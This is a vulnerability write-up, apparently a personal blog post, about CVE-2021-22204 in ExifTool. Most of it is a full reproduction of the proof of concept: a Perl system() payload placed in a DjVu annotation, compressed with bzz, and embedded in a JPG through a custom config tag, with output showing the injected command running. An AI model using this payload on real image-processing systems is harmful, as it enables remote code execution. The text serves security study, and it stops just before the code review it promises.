
In-depth technical analysis of CVE-2021-22204 (ExifTool RCE) with PoC reproduction, payload construction, and Perl code review of the vulnerable DjVu annotation parser.
This is supposed to be an analysis of CVE-2021-22204, but it feels more like my scratchpad filled with messy notes. It might seem rambling for a vulnerability analysis, but I learned a lot from it.
To be honest, I have never used this tool and had almost no exposure to Perl, which left me with many questions during the analysis and even the reproduction process. Before starting the analysis, let's look at the publicly available PoC and the questions I had.
One of the articles I saw was [1], which briefly introduced the cause of the vulnerability. However, since I couldn't understand the Perl code, many parts were unclear. The reproduction process is as follows:
Download exiftool version 12.23
wget https://codeload.github.com/exiftool/exiftool/zip/refs/tags/12.23 -O exiftool-12.23.zip
Unzip and install
$ unzip exiftool-12.23.zip && cd exiftool-12.23
$ perl Makefile.PL
$ make test
$ sudo make install
Of course, if you don't want to install it, you can simply place the exiftool file from the exiftool-12.23 directory into a directory that is in your PATH, and you can then use the exiftool tool directly, since Perl is an interpreted language similar to Python.
Create a malicious image. First, install the required tools
$ sudo apt-get update
$ sudo apt-get install djvulibre-bin
Execute the following commands to create a malicious DjVu file
$ echo "(metadata \"\\\\c\${system('id')};\")" > payload
# This was the most confusing part for me — I didn't understand why compression was needed (since other PoCs didn't require it)
$ bzz payload payload.bzz
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = Anything in the format 'N,N' where N is a number
# BGjp = Expects a JPEG image, but we can use /dev/null to use nothing as background image
# ANTz = Will write the compressed annotation chunk with the input file
Then, when parsing the malicious file with exiftool, you will see that the id command executed successfully.
$ exiftool exploit.jdvu
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number : 12.23
File Name : exploit.djvu
Directory : .
File Size : 88 bytes
File Modification Date/Time : 2021:11:02 21:55:23+08:00
File Access Date/Time : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time : 2021:11:02 21:55:23+08:00
File Permissions : -rwxrwxrwx
File Type : DJVU
File Type Extension : djvu
MIME Type : image/vnd.djvu
Image Width : 1
Image Height : 1
DjVu Version : 0.24
Spatial Resolution : 300
Gamma : 2.2
Orientation : Horizontal (normal)
Image Size : 1x1
Megapixels : 0.000001
Earlier, when creating the DjVu file using the djvumake command, could we skip compressing the payload? From an analysis perspective, it's inconvenient for viewing and testing. Of course you can, just replace the parameter ANTz with ANTa. For details on ANTz and ANTa, refer to the exiftool documentation [3], but I still couldn't find their exact meanings because there is no standard specification.
I have to complain here — I tried to look up the parameter descriptions via
man djvumake, but there were no explanations forANTzandANTa. The documentation dates back to 2001 and hasn't been updated for a long time.
| Tag ID | Tag Name | Writable |
|---|---|---|
| 'ANTa' | ANTa | - |
| 'ANTz' | CompressedAnnotation | - |
ANTa means that the annotation is stored in plaintext within the metadata of the DjVu file, while ANTz is the bzz-compressed format.
However, DjVu files are not common, especially when it comes to image uploads on websites, where only PNG/JPG/JPEG etc. are typically accepted. So it would be great if we could turn the malicious DjVu file into a JPG file.
The exiftool tool can help us modify image content. We just need to insert the malicious DjVu file into the appropriate location within a JPG file. As for which specific location and why it works, that will be explained later in the analysis.
Build an exiftool configuration file eval.config
%Image::ExifTool::UserDefined = (
# All EXIF tags are added to the Main table, and WriteGroup is used to
# specify where the tag is written (default is ExifIFD if not specified):
'Image::ExifTool::Exif::Main' => {
# Example 1. EXIF:NewEXIFTag
# 0xc51b corresponds to the Tag 'HasselbladExif'[6]
0xc51b => {
# The name can be arbitrarily assigned; this is the parameter name received
Name => 'HasselbladExif',
# Writable variable type
Writable => 'string',
# Which Group[7] the written data belongs to in the metadata
WriteGroup => 'IFD0',
},
# add more user-defined EXIF tags here...
},
);
1; #end
For how to write an exiftool configuration file, refer to [4][5]. Then find a normal JPG image file poc.jpg and execute the following command:
$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' poc.jpg
Then parse poc.jpg with exiftool, and the command executes successfully.
$ exiftool poc.jpg
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number : 12.23
File Name : exploit.djvu
Directory : .
File Size : 88 bytes
File Modification Date/Time : 2021:11:02 21:55:23+08:00
File Access Date/Time : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time : 2021:11:02 21:55:23+08:00
File Permissions : -rwxrwxrwx
File Type : DJVU
File Type Extension : djvu
MIME Type : image/vnd.djvu
Image Width : 1
Image Height : 1
DjVu Version : 0.24
Spatial Resolution : 300
Gamma : 2.2
Orientation : Horizontal (normal)
Image Size : 1x1
Megapixels : 0.000001
The following analysis references [2]. The affected version is exiftool < 12.24, and the vulnerable file is:
lib/Image/ExifTool/DjVu.pm (line 202)
The relevant function code is as follows: